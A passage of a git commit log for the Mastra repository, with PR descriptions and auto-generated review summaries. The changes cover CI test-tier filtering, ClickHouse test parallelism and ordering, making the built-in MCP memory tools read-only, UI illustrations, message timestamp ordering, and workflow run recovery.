This change makes pull request CI run fewer tests. Tests and CI jobs
that have not failed in the last 30 days are skipped. If a skipped test
or job fails again, it returns to the normal set.

## Overview

This change adds test-tier filtering to pull request CI. A tier file,
`tiers.json` on the `ci/test-tiers` branch, lists unit test files,
package E2E files, and CI jobs as `in` (run) or `out` (skip). A
scheduled workflow updates the file from recent failures.

Rules:

- Full-suite runs, the `full-tests` label, and missing or invalid tier
data run everything.
- Changing a tier file, or changing a job's own workflow, runs all
tests.
- An `out` file is dropped only when the pull request does not change
it.
- An `out` job is skipped only when the pull request does not change
that job's owned paths.
- Filtering runs before unit sharding.
- The workspace artifact keeps the full workspace selection.

## Changes by area

**Routing and selection**

- `.github/scripts/select-affected-tests.cjs`: `routeTests` accepts
optional `tiers` and `storeNames`. Its result includes retained tests,
dropped files, and skipped jobs. It also emits workspace packages for
unit and Docker runs, omitting quiet packages. Store, memory, E2E,
experiment-worker E2E, MastraCode E2E, and workspace flags depend on
whether their jobs are skipped.
- `scripts/test-tiers/select.mjs` (new): loads tier configuration,
classifies E2E files, selects unit tests and jobs, and provides a
`skip-jobs` CLI.
- `.github/workflows/prebuild.yml`: the `affected-tests` job exposes
`tier_skip_jobs`. It reads tier configuration from `ci/test-tiers` and
reads PR labels. A label-read failure runs all tests. It passes
`skip_jobs` to the reusable E2E, Mastra Code E2E, and combined-store
workflows. It adds `issues: read` permission.

**Workflow inputs and job gates**

- `.github/workflows/e2e-tests.yml`: new optional input `skip_jobs`
(default `'[]'`). Nine E2E jobs run only when their `job:e2e/...` key is
not listed. The E2E registry publisher and the E2E workflow gate stay
enabled when tiered E2E jobs are quiet, because npm import needs the
registry.
- `.github/workflows/mastracode-e2e.yml`: new optional input
`skip_jobs`. Skips `mastracode-e2e` when the list contains
`job:mastracode-e2e`. Skips `mastracode-web-e2e` when the list contains
`job:mastracode-om`.
- `.github/workflows/test-combined-stores.yml`: new optional input
`skip_jobs`. Removes stores listed as `job:store/<name>` before
splitting outputs. The `test` job runs only when its store output is
nonempty.
- `.github/workflows/lint.yml`: the `changeset-check` job applies tier
selection to its validator tests. It forces full tests if the
changed-file diff fails. It skips nothing if tier selection fails. It
adds a step that runs the test-tier script tests.
- `.github/workflows/secrets.test-workspaces.yml`: removes cloud-test
packages whose `job:workspace-cloud/<package>` tier is `out`.
Changeset-release branches, the `full-tests` label, and failures to read
PR labels or changed files select full tests. Invalid tier data skips no
packages. If no packages remain, `workspaces-changed` becomes `false`.

**Tier data maintenance**

- `scripts/test-tiers/update.mjs` (new): CLI with `versioning` and
`daily` commands. It records failures and settles whole-job failures. It
removes deleted files, adds new files and job keys in `all` scope, and
moves entries that stay clean for `WINDOW_DAYS` to `out`. It requires
`--tiers`. `versioning` also requires `--run-id`. `daily` defaults the
lookback to 14 days.
- `scripts/test-tiers/seed.mjs` (new): generates initial tier data from
file ages, qualification records, failure indexes, and rename mappings.
It validates job keys and tier values.
- `.github/workflows/test-tiers.yml` (new): runs after completed
Prebuild workflows, on a daily schedule, or manually. It runs only in
`mastra-ai/mastra` and serializes runs. It commits and pushes changed
tiers to `ci/test-tiers`. A manual run with `seed=true` creates the
branch.

**Seed data**

- `scripts/test-tiers/seed-data/fail-index.json`, `jobs-seed.json`, and
`renames.json`: seed inputs. `jobs-seed.json` covers 54 jobs.
`renames.json` contains 669 path mappings.

**Tests**

- `.github/scripts/select-affected-tests.test.ts`,
`scripts/test-tiers/select.test.mjs`,
`scripts/test-tiers/seed.test.mjs`, and
`scripts/test-tiers/update.test.mjs`: cover routing, tier selection,
seeding, and tier updates.

## Reported results (author-reported, not verified here)

- One-line change to `packages/core/src/agent/agent.ts`, measured on
4-CPU runners:
  - Affected unit files: 3,208 to 1,118.
  - Slowest shard: 639 to 361 seconds.
  - Package E2E files: 49 to 3. Nine whole jobs skipped.
- Reported test plan: 110 routing tests (7 new tier-routing cases), 38
tier-script tests, 18 parity scenarios, actionlint, and oxfmt.
- Reported: one actionlint finding exists on main before this change.
- CI status on the current head: not available.
- Review severity counts: not available.

## Review notes

- The diff has 20 files, with 12,163 lines added and 12 removed. Most
added lines are seed data (`fail-index.json`, `renames.json`,
`jobs-seed.json`).
- Reviewers should check the paths that decide whether tests are skipped
first. These are tier loading failures, label-read failures, full-suite
mode, and the changed-file rules.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 16:42:42 -08:00
Tyler Barnes
94fd1f0a5f
test(core): catch bracket-form env writes and Windows paths in the isolation check (#30368)
## Summary

A follow-up to #30308 (isolate core tests that set env before their
imports). That PR added a check that fails when a core unit test sets
`process.env` before its imports but isn't in the isolated list. Review
found two gaps in it:

- **Bracket form missed.** The check matched `process.env.X = …` but not
`process.env['X'] = …` (or the `"X"` and backtick forms). A test written
that way could stay in the shared lane and leak its env into other
files, the same way `thread-lease-loss-parked` broke main. The pattern
now matches dot and bracket writes, at top level and inside
`vi.hoisted`. `===` comparisons still don't match.
- **Windows paths.** `relative()` returns backslash paths on Windows,
which never match the forward-slash isolated list, so every isolated
file would be reported missing. Paths are now converted to `/` before
the comparison.

## Test plan

- New test in `packages/core/src/isolated-tests-list.test.ts` covers
five matched forms and three ignored ones. It fails with the old pattern
(bracket case) and passes with the fix, 2/2 twice.
- Path conversion checked with `path.win32` (not run on a Windows
machine).
- Core type check, oxlint and oxfmt are clean.

Test-only change, no changeset.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The test checks that unit test files which change environment
settings before their imports are listed as isolated. This change makes
the check catch more ways of writing those settings, and makes it work
on Windows paths too.

## Summary of changes

This change updates one file:
`packages/core/src/isolated-tests-list.test.ts` (+26, -3).

**Path normalization**
- `unitTestFiles` converts each discovered path to use `/` as the
separator. It calls `.split(sep).join('/')` on the result of
`relative()`. This lets the paths match the isolated-file list on
Windows.

**Environment-write pattern**
- The pattern `envBeforeImports` is now built from a shared `envWrite`
fragment. It matches:
  - Dot notation: `process.env.NAME =`
- Bracket notation with single quotes, double quotes, or backticks:
`process.env['NAME'] =`, `process.env["NAME"] =`, and the backtick form
- The fragment ends with `=(?!=)`, so equality comparisons (`===`) do
not match.
- Matches count at the start of a line (top level) or inside a
`vi.hoisted(() => { ... })` block.

**New test case**
- `recognizes env writes before imports in dot and bracket form` is
added.
- It asserts five forms that match: dot, single-quoted bracket,
double-quoted bracket, and the dot and single-quoted bracket forms
inside `vi.hoisted`.
- It asserts three forms that do not match: a single-quoted bracket
write inside `beforeEach`, an `===` comparison, and a read.
- The test builds `process.env` at runtime so that the file's own source
does not match the pattern.
- The backtick bracket form is in the regex but has no test case.

**Not verified in this review**
- The author reports that the test passed 2/2 twice, that Windows path
handling was checked with `path.win32`, and that the type check, oxlint,
and oxfmt pass. I did not run these checks.
- The PR has no changeset. The author states it is test-only.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 16:13:20 -07:00
mastra-platform[bot]
ddb52d535d
Stop running unused Mastra Code session scorers (#30363)
> Opened by @abhiaiyer91

## Summary
- Stop registering the built-in outcome and efficiency scorers on Mastra
Code sessions by default.
- Allow SDK and Factory hosts to supply their own `scorers` to the
mounted coding agent.
- Preserve the public eval exports and `disableScoreStorage` behavior;
update tests, Code SDK documentation, and patch changesets.

## Test plan
- Independent review verified SDK tests (124 passed), Factory tests (162
passed), and the core live-scorer scenario (52 passed).
- SDK and Factory TypeScript checks passed; a controller probe confirmed
zero default scorers and registration of caller-provided scorers.
- In-memory score-storage tests cover default discarding and explicit
persistence.
- The full SDK suite previously exceeded the four-minute runner limit
without a reported test failure.

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:40:12 -08:00
Tyler Barnes
0c32e32f8b
test(clickhouse): run store test files in parallel on per-worker databases (#29096)
## What this does

The ClickHouse store tests ran every file one after another
(`fileParallelism: false`) because they shared one database: migration
tests drop tables other files use. This runs them on 4 workers, each
with its own database:

- `vitest.global-setup.ts` creates one ClickHouse **user** per worker
(`mastra_test_wN`), each with `DEFAULT DATABASE mastra_test_wN` and its
own database. The number of users comes from the resolved `maxWorkers`,
so a CLI override can't leave a worker without one. Teardown drops each
database before its user, because the user owns materialized views in
it.
- `vitest.setup.ts` points each worker at its user via
`CLICKHOUSE_USERNAME` and `VITEST_POOL_ID`.
- Why a user and not a database in `CLICKHOUSE_URL`: a database in the
URL overrides the explicit `database` option. That broke the
feedback-deletion-race tests (lagging replicas) and the
database-fallback test, 12 failures. There's a comment next to the setup
so nobody simplifies it back.
- `migration.test.ts` sorting-key lookups now filter on `database =
currentDatabase()`, so they don't read another worker's tables.
- The shared vNext conformance suite moves out of `v-next/index.test.ts`
into `v-next/shared-suite.test.ts`. It's a pure move with no
module-level state shared between the halves, and the same 465 test
names. That file was the tail that capped the parallel run.

Test config and test files only: no source changes, no changeset.

## Numbers (local)

| | wall |
|---|---:|
| sequential (main) | 467 s |
| 4 workers, per-worker users | 239 / 240 / 243 s |
| + shared-suite split | 155 / 148 / 149 s |

Every run: 1140 passed / 415 skipped. CI clickhouse job today: 390 s;
estimate after this ~125–135 s (unverified until CI runs).

Finding for the ClickHouse store owner, not changed here: ClickHouse 26
defaults to `async_insert=1, wait_for_async_insert=1`, so each insert
waits 50–200 ms for a flush. Turning it off in the test container gave
191 s, but that would hide a real cost, so it's left on.

## Test plan

- [x] 3 green full runs per step above
- [x] 2, 4 and 6 workers green after the maxWorkers change (148.8 s at
4); no leftover users or databases
- [x] Test names before and after the split identical (465)
- [x] tsc and oxlint clean
- [ ] CI: clickhouse store job green


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change lets ClickHouse store tests run at the same time. Each test
worker gets its own ClickHouse user and database, so workers do not
change each other's data.

## What changed

- **Per-worker database and user.**
`stores/clickhouse/vitest.global-setup.ts` creates one database and one
user for each configured worker. Setup sets each user's password and
default database. It grants current grants on all databases with grant
option. The ClickHouse admin client closes in a `finally` block.
Returned cleanup drops each worker's database before its user.
- **Worker identity.** `stores/clickhouse/vitest.setup.ts` adds
`workerName(worker)`, which returns `mastra_test_w${worker}`, and
`workerPassword()`, which returns `CLICKHOUSE_PASSWORD` or falls back to
`password`. When `VITEST_POOL_ID` is set, the setup assigns the matching
worker name and password to the ClickHouse environment variables. If
`CLICKHOUSE_URL` is set, the setup removes its pathname, username, and
password before it saves the URL. A commit in the PR removes URL
credentials so that the explicit connection options, including the
per-worker user and shared password, apply.
- **Vitest configuration.** `stores/clickhouse/vitest.config.ts` no
longer disables file parallelism. It allows up to four workers and
registers the global setup and setup files.
`stores/clickhouse/tsconfig.json` includes `vitest.global-setup.ts` and
`vitest.setup.ts`.
- **Shared vNext suite.**
`stores/clickhouse/src/storage/domains/observability/v-next/shared-suite.test.ts`
adds the ClickHouse vNext conformance suite, with 60-second test and
hook timeouts. The suite reuses one storage instance and clears storage
between tests. Before discovery checks, it refreshes and waits for both
discovery materialized views. Retry-idempotency checks run `OPTIMIZE
TABLE … FINAL` on five signal tables. `v-next/index.test.ts` drops the
import and registration of this suite. Its other tests remain.
- **Migration queries.**
`stores/clickhouse/src/storage/migration.test.ts` filters
`system.tables` sorting-key lookups by `database = currentDatabase()` in
addition to the table name. Test assertions and migration scenarios are
otherwise unchanged.
- **Scope.** The PR changes test configuration and test files only. It
has no source changes and no changeset.

## Reported results

The author reports the following. These results are not verified in this
review.

- Three green full runs at each performance step. Each run reported
1,140 passed and 415 skipped tests.
- Green runs with 2, 4, and 6 workers.
- No leftover users or databases after teardown.
- The same 465 test names before and after the split.
- Clean `tsc` and `oxlint` checks.
- Local wall time fell from 467 seconds (sequential) to 148–155 seconds
after the suite split.

The ClickHouse store CI job is not checked. Its runtime reduction is not
verified until CI runs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 15:31:41 -07:00
Tyler Barnes
2087fdccb8
fix(server): limit built-in MCP memory tools to reads and add working-memory inspection (#30245)
## Summary

The built-in MCP server (added in #29931, built-in MCP memory tools)
gives connected MCP clients a set of memory tools. Two of them did more
than an outside client should: `save_messages` wrote raw messages
straight into a thread, and `search_memory` ran a broad semantic-recall
search. There was also no way to read an agent's working memory through
MCP.

This PR narrows the built-in MCP memory toolset to inspection:

- **Removed `save_messages` and `search_memory` from the built-in MCP
toolset.** Their HTTP endpoints are unchanged; only MCP exposure is
removed.
- **Added read-only `get_working_memory`** for a thread or a resource.
It never writes stored state and works in read-only mode.
- With a thread (the request's reserved context thread takes precedence
over a `threadId` argument), it uses the existing thread working-memory
route and its ownership checks.
- Without a thread, it uses a new `GET /memory/working-memory` route
that reads resource-scoped working memory for the caller's effective
resource. When fine-grained authorization (FGA) is configured, the route
requires an authenticated user and checks `memory:read` on that
resource; a grant on a single thread does not authorize the whole
resource.
- Regenerated client route types and CLI route metadata for the new
route.

## Test plan

- New regression tests with real `Memory` + `InMemoryStore`, `Agent` and
`Mastra`, through the MCP catalogue and route handlers: tool list,
thread and resource reads, FGA allow/deny, missing user, spoofed
resource, thread grant vs resource grant, Studio/server FGA provider
selection, reserved context thread precedence, and no storage mutation.
- These tests fail on the code before the fix (8 failed / 25 passed) and
pass after.
- Focused MCP/memory/FGA-provider suites: 140/140.
- Full server suite: 128 files, 3,552 passed, 3 skipped, 1 todo.
- `pnpm build:server`, server TypeScript, lint, formatting, and
`generate:permissions` / `check:permissions` pass.
- Live loopback MCP SDK client check of `tools/list` and `tools/call`:
removed tools are absent, caller identity is enforced, nothing is
written.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change makes the built-in MCP memory tools read-only. It removes
the tools that save messages or search memory. It adds one tool that
reads working memory for a thread or a resource.

## Summary

This change limits the built-in MCP memory toolset to inspection. It
removes the `save_messages` and `search_memory` tools from MCP. Their
HTTP endpoints remain unchanged. It adds a read-only
`get_working_memory` MCP tool.

### Behavior

- **Thread reads:** The tool uses the reserved context thread ID when
one exists. Otherwise, it uses the `threadId` argument. Thread reads use
the existing thread working-memory route. The existing ownership checks
apply.
- **Resource reads:** When no thread ID is available, the tool calls the
new route `GET /memory/working-memory`. The route reads working memory
for the effective resource ID. When the tool call omits the resource ID,
the tool uses the value from the request context.
- **Fine-grained authorization (FGA):** When an FGA provider is
configured, the resource route requires an authenticated user and
`memory:read` permission on the effective resource. The FGA check passes
request context. A grant on one thread does not authorize resource-wide
access.
- **Memory unavailable:** The resource route returns null working memory
when memory is unavailable.
- **Thread-scoped requests on the resource route:** The resource route
rejects thread-scoped working memory.

### Changed files

- `packages/server/src/server/handlers/memory.ts`: Adds MCP metadata to
`GET_WORKING_MEMORY_ROUTE`. Adds `GET_RESOURCE_WORKING_MEMORY_ROUTE`.
Removes MCP tool metadata from `SAVE_MESSAGES_ROUTE` and
`SEARCH_MEMORY_ROUTE`.
- `packages/server/src/server/mcp/toolsets/memory.ts`: Adds
working-memory retrieval for threads and resources. Removes the search
and message-saving operations.
- `packages/server/src/server/server-adapter/routes/memory.ts`: Adds the
new route to the exported `MEMORY_ROUTES`.
- `packages/server/src/server/server-adapter/routes/fga-manifest.ts`:
Registers `/memory/working-memory` as a resource route. The resource ID
comes from the request context, or from the `resourceId` parameter.
- `packages/server/src/server/server-adapter/index.test.ts`: Adds FGA
tests for the resource working-memory endpoint.
- `packages/server/src/server/mcp/toolsets.test.ts`: Adds tests for FGA
provider selection, fail-closed behavior, resource and thread
permissions, reserved-context precedence, and read-only inspection.
Updates the expected tool list.
-
`server-adapters/server-adapters-test-suite/src/builtin-mcp-parity-test-suite.ts`:
Removes `save_messages` and `search_memory` from the expected tool list.
-
`server-adapters/server-adapters-test-suite/src/builtin-mcp-toolsets-test-suite.ts`:
Adds `get_working_memory` to the parity and read-only cases. Asserts
that `save_messages` is not offered to a non-owner and that the HTTP
write returns 403.
- `server-adapters/server-adapters-test-suite/src/route-test-utils.ts`:
Sets a default `resourceId` for `GET /memory/working-memory`.
- `.changeset/red-pets-throw.md`: Declares patch releases for
`@mastra/client-js`, `@mastra/server`, and `mastra`.

The PR also regenerates client route types and CLI route metadata.

The diff changes 12 files, with 558 lines added and 57 removed.

### Public API

- New route: `GET_RESOURCE_WORKING_MEMORY_ROUTE` at `GET
/memory/working-memory`.
- Changed export: `MEMORY_ROUTES` includes the new route.
- MCP tool surface: `save_messages` and `search_memory` are removed from
MCP. `get_working_memory` is added. The HTTP endpoints for the removed
tools are unchanged.

### Verification

The author reports these results. This summary did not run them:

- 140 of 140 focused MCP, memory, and FGA-provider tests pass.
- 128 server test files pass, with 3,552 tests passed, 3 skipped, and 1
todo.
- Server build, TypeScript, lint, formatting, and permission-generation
checks pass.
- A live loopback MCP SDK check of `tools/list` and `tools/call` passes.
- The author reports that the new regression tests failed before the
change (8 failed, 25 passed) and pass after it.

CI status on the current head: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 15:06:31 -07:00
Justin Levine
174f81a1c9
feat(playground-ui): add no-alerts and no-destinations empty-state drawings (#30354)
## Description

Adds two empty-state drawings to `EmptyStateIllustration`: `no-alerts`,
a warning beacon whose rays light up on hover, and `no-destinations`, a
letter dropping into a mail slot. Platform's Alerts page uses them on
the empty Alerts and Destinations tabs.

| Dark | Light |
| --- | --- |
| ![No alerts and no destinations drawings in dark
theme](https://github.com/user-attachments/assets/697d0e72-1f5c-4ea5-964b-529de1b062c7)
| ![No alerts and no destinations drawings in light
theme](https://github.com/user-attachments/assets/9c468939-d6b7-4a95-89ae-d52890b46703)
|

Verified: EmptyState tests, oxlint and prettier pass; checked both
drawings at 300px in Storybook in dark and light, on hover, and with
reduced motion (the rays stay off).

## Related issue(s)

PLTFRM-3618

## Type of change

- [x] New feature (non-breaking change that adds functionality)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change adds two new empty-state pictures to the
playground UI. One picture shows a warning beacon for alerts. The other
shows a letter going into a mail slot for destinations. When the user
hovers over a picture, the alert rays fade in, and the letter moves.

## Overview

This change adds two SVG illustrations to the `EmptyStateIllustration`
component in `@mastra/playground-ui`:

- `no-alerts`: a warning beacon.
- `no-destinations`: a letter that drops into a mail slot.

The diff touches 5 files. It adds 102 lines and removes 0.

## Changes

- **`illustrations/no-alerts-art.tsx`** (new, 41 lines): exports
`NoAlertsArt()`. It renders a stroked SVG group with a beacon shape. A
child group holds the six ray lines. That group has `opacity-0` by
default. On `empty-state` group hover, it changes to `opacity-100`. The
opacity transition applies only inside `motion-safe:` variants.
- **`illustrations/no-destinations-art.tsx`** (new, 48 lines): exports
`NoDestinationsArt({ id })`. It renders a stroked SVG group with a mail
slot and a letter. The letter is clipped by a mask. The mask ID comes
from the `id` prop, so each instance has a unique mask ID. A
`hoverStyle` object sets `--hover-shift` to `0px 16.89px`. On
`empty-state` group hover, the letter group applies `translate:
var(--hover-shift)`. The transition applies only inside `motion-safe:`
variants.
- **`empty-state-illustration.tsx`** (+6): imports both components. It
adds `'no-alerts'` and `'no-destinations'` to the
`EmptyStateIllustrationName` union. It also maps both names to their
components.
- **`empty-state.stories.tsx`** (+2): adds `no-alerts` labeled "Alerts"
and `no-destinations` labeled "Destinations" to the `AllIllustrations`
story.
- **`.changeset/shy-files-relate.md`** (new, +5): declares a patch
release for `@mastra/playground-ui`. It describes the two illustrations
and shows the usage `<EmptyStateIllustration name="no-alerts" />`.

## Not verified

- The PR author reports that EmptyState tests, oxlint, and prettier
pass. The diff does not show these results, so they are not available
from this review.
- The author reports visual checks in Storybook's "All illustrations"
view in dark and light themes. This is not available from this review.
- The PR description says Platform's Alerts page uses these
illustrations. This repository does not contain that page, so this is
not available from this review.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 17:00:04 -05:00
Tyler Barnes
5056a2b1ff
fix(clickhouse): return tied scores in a stable order from listScores (#29102)
## What

`listScores` in the ClickHouse store sorted only by the requested field
(`timestamp` by default, or `score`). When several scores share that
value, ClickHouse returns them in whatever order it happens to read the
data parts, so a page can differ between two identical calls, and paging
through ties can repeat or skip scores.

Ties are now ordered by `scoreId` in the same direction as the requested
sort. `scoreId` is unique per current score, so the order is total and
the same on every call.

## Why now

#29096 (parallel ClickHouse store tests) failed one test, `keeps
ordinary current-score reads proportional to logical rows after merges`.
The test writes 5,000 scores with the same timestamp and expects the
first page of 10 to match before and after `OPTIMIZE ... FINAL`. Running
in parallel changed when parts merged, so the tie order changed. The bug
is in the store, not in that PR.

## Test plan

- New test `pages through scores with tied timestamps and values in a
stable order`: five scores, same timestamp and value, paged 2 at a time
in both directions. Fails without the fix (ties come back in
scoreId-ascending part order for a DESC sort), passes with it.
- Full `stores/clickhouse` suite locally: 22 files, 1,141 passed, 415
skipped.
- `tsc --noEmit`, oxlint and prettier clean.

Changeset: `@mastra/clickhouse` patch.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

### ELI5
When several scores have the same timestamp or value, the database can
return them in a different order on each page. This change adds the
score ID as a tie-breaker, so tied scores keep a fixed order and paging
is less likely to repeat or skip scores.

### Changes
-
`stores/clickhouse/src/storage/domains/observability/v-next/scores.ts`:
`listScores` keeps the existing timestamp/score `ORDER BY` clause. It
appends `s.scoreId`. The direction is `ASC` only when the requested
direction is `ASC`. Otherwise, including when no `orderBy` is supplied,
the direction is `DESC`.
-
`stores/clickhouse/src/storage/domains/observability/v-next/index.test.ts`:
Adds a test, `pages through scores with tied timestamps and values in a
stable order`. It writes five scores with the same timestamp, traceId,
scorerId, and value. It pages through them two at a time over three
pages. It checks that the default order is the reverse of insertion
order. It checks that `score` ascending returns insertion order.
- `.changeset/tangy-lands-love.md`: Adds a patch changeset for
`@mastra/clickhouse`.

### Validation
- The PR reports that the full `stores/clickhouse` suite passed locally
(22 files, 1,141 passed, 415 skipped). It also reports that `tsc
--noEmit`, oxlint, and Prettier were clean. These results were not
independently verified.
- The diff does not include a check for the PR `#29096` test, `keeps
ordinary current-score reads proportional to logical rows after merges`.
The PR reports that this change addresses an order-dependent failure in
that test.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 14:34:11 -07:00
Tyler Barnes
8ac88228d6
fix(core): remove the 10 ms pause after memory saves and keep same-millisecond turns in order (#29148)
## What

Removes the 10 ms pause `MessageHistory` waited after every memory save,
and fixes the ordering bug that pause had been hiding.

Stacked on #29142 (keep a forwarded queued message until the owning run
accepts it). Retarget to `main` once that merges.

## Why

The pause was added so the next message's timestamp would always land
after the saved one. Without it, a new turn's input can be stamped in
the same millisecond as the previous turn's stored answer. Sorting on
equal timestamps then puts the stored answer last, and the new turn's
response merges into that old answer. Under load,
`signals-pending-cancellation` "answers the follow-up after
upstream/thread cancellation" failed 2 of 12 runs this way.

Every memory-backed call also paid at least 10 ms per save.

## How

- `message-history.ts`: drop the post-save `setTimeout`. Stored history
is now added in a single `add(array, 'memory')` call, as semantic recall
already does.
- `MessageList`: after a memory add, any live message whose timestamp
equals a stored one moves 1 ms later, skipping other stored times, and
its signal `createdAt` is kept in sync. Live messages that tie only with
each other keep their timestamps. The pass runs once per add, in O(n log
n).

## Test changes (setup only, no assertion changes)

- New `input-after-stored-history-tie.test.ts`: a tied new turn stays
after the stored answer (fails without the fix), and same-ms live
messages with no stored tie are left untouched.
- `signals-pending-cancellation` lease-loss test now waits for the
follow-up run to register before it vanishes. Without the pause, the run
could vanish before registering, and the message was delayed past the
test window. The test still fails against a runtime without the lease
watch.
- `provider-history-compat` fixture: explicit ascending `createdAt`
values in place of four `new Date()` calls that landed in the same ms.
- `background-task-call-id-reuse` scenario: waits for the last
background result instead of relying on the pause.

## Testing

- Full core unit lane (`--project unit:packages/core`, Node 24, 5 CPUs):
1,560/1,560 files, 25,295 passed, 0 failed.
- Signals, message-list and call-id-reuse suites: 3 repeated runs, 1,169
passed each.
- `tsc --noEmit` and oxlint are clean.

Not verified: real multi-process pubsub (Unix socket/Redis), and stores
other than core's in-memory and test stores.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a chat app saves a reply, it used to wait 10 ms. Two
messages could also get the same timestamp and sort in the wrong order.
This change removes the wait and keeps messages in the correct order,
even when timestamps match.

## Overview

This change removes the 10 ms pause after each memory save in
`MessageHistory`. It also changes how `MessageList` orders live messages
whose timestamps match stored history. Without this change, a new turn's
response could merge into the previous turn's stored answer. The change
also covers a forwarded-idle case, where a run can start after another
process's lease disappears. The runtime clears the forwarded run's
active IDs only when the stream ID and run ID still match the values it
read before the lease check.

## Changes by area

**Memory save path**
- `packages/core/src/processors/memory/message-history.ts`:
`processInput` adds all chronological history in one `add(array,
'memory')` call. It previously added each message separately.
`processOutputResult` no longer waits 10 ms after it persists messages.

**Message ordering**
- `packages/core/src/agent/message-list/message-list.ts`:
`MessageList.add` runs `moveLiveMessagesPastStoredTies` after it
processes inputs. The pass runs once per add.
- When memory messages exist, the pass marks them as stored.
- It moves live messages that share a stored timestamp. It also moves
live messages that would no longer follow a moved live message.
- It skips other stored times when it chooses new timestamps.
- It orders placements by each message's own timestamp and arrival
order.
- It preserves anchored signals. It updates matching signal `createdAt`
values and the ordering watermark.
- It re-queues moved persisted messages, so the moved timestamps are
saved again.
- It sorts the list only when a message moved.
- Live messages that tie only with each other keep their timestamps.

**Remote run forwarding**
- `packages/core/src/agent/thread-stream-runtime.ts`: The forwarded
idle-signal lease checker snapshots the active stream ID before it reads
the lease.
- After consecutive checks show that the target run no longer holds the
lease, and its unadmitted signals are requeued, the runtime clears that
run's active run ID and stream ID.
- It clears them only when the run has no local record, the active
stream ID is unchanged from the snapshot, and the active run ID still
matches.
- It then drains pending idle signals.

**Tests**
-
`packages/core/src/agent/__tests__/signals-pending-cancellation.test.ts`:
Adds and updates coverage for follower idle messages. The cases cover
runs that end, are superseded, or lose their lease before delivery. The
vanished-owner tests wait for the follow-up run's registration to reach
subscribers before they end the run. A new test checks that a follower
with queued work does not start local execution after it unsubscribes
and sees the lease disappear. Another test checks that a run that takes
the thread during an in-flight lease read stays active. A further test
checks that a remote run that starts and ends during that read does not
block the drain of queued work.
-
`packages/core/src/agent/message-list/tests/input-after-stored-history-tie.test.ts`
(new): Covers ties between stored history and live input, response, and
context. It checks reminder placement, deduplication under turn sources,
and turn order when stored history arrives in batches. A save test
checks that a moved input is returned for saving with its updated
timestamp.
-
`packages/core/src/loop/test-utils/aimock/scenarios/background-task-call-id-reuse.scenario.test.ts`:
Waits after each turn until that turn's background result appears in
recalled memory.
- `packages/core/src/processors/provider-history-compat.test.ts`: Gives
transcript messages explicit, sequential timestamps. The test still
checks that API-error repair removes the earlier empty signed block.
-
`packages/memory/src/processors/observational-memory/__tests__/message-utils.test.ts`:
Gives stored messages timestamps earlier than the live input. It expects
observable order `memory-1`, `input-1`, `response-1`. It still checks
that the synthetic continuation is excluded from observable messages.

**Release notes**
- `.changeset/memory-save-no-pause.md`: Adds a patch changeset for
`@mastra/core`. It documents the removed pause, the same-millisecond
ordering fix, and the queued-message case.

## Public API

No exported or public declarations change.

## Scope

9 files changed. 571 lines added and 26 removed.

## Validation

The PR author reports these results. This summary does not verify them.
- Core unit lane (`--project unit:packages/core`, Node 24, 5 CPUs):
1,560 files and 25,295 tests passed.
- Signals, message-list, and call-ID-reuse suites: 1,169 tests each
passed across three runs.
- `tsc --noEmit` and oxlint: clean.
- Not verified: real multi-process pubsub (Unix socket or Redis), and
stores other than core's in-memory and test stores.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:33:04 -07:00
Arthur Fiorette
2788a6d959
feat(core): recover stopped workflow runs from a loop with one leader (#30281)
## Description

Restarts a default-engine workflow run whose instance crashed without
waiting for another instance to boot. `startWorkers()` now starts a
recovery loop on an instance that runs the orchestration worker, and one
instance among those that share a store runs its passes.

### The loop

Each pass applies the rule `restartAllActiveWorkflowRuns()` already uses
for default-engine runs: restart a `running` or `waiting` run once no
instance holds its run lease and `recovery.workflowGraceMs` passed since
the run or its lease last changed. The loop replaces the per-run recheck
timers the previous PR kept (`#scheduleWorkflowRecoveryRecheck`,
`#recheckWorkflowRun`); the durable-agent rechecks are unchanged.

The loop never touches evented runs. A redelivering broker recovers
them, and on other pubsubs the explicit `restartAllActiveWorkflowRuns()`
restarts them in the caller, as before. That call no longer joins a loop
pass for its evented part, so `startWorkers()` followed by the explicit
call still restarts evented runs on `EventEmitterPubSub`
(`evented/sleep-restart.test.ts` passes).

### Leader

One row, `::recovery-leader`, in the run-owners table, which gates the
loop's ticks only. Each tick of an instance tries a non-forced claim
until it gets the row, then keeps it: the lease helper renews it every
renew interval until `stopWorkers()` or `shutdown()` releases it. Only
the holder's loop lists runs; another instance's tick costs one refused
claim. When the leader dies, the row lapses after the lease TTL and the
next tick elsewhere takes it.

The leader saves listing cost only. Two restarts of one run are still
prevented by the run lease (`restart()` claims non-forced and throws
`WORKFLOW_RESTART_RUN_OWNED`).

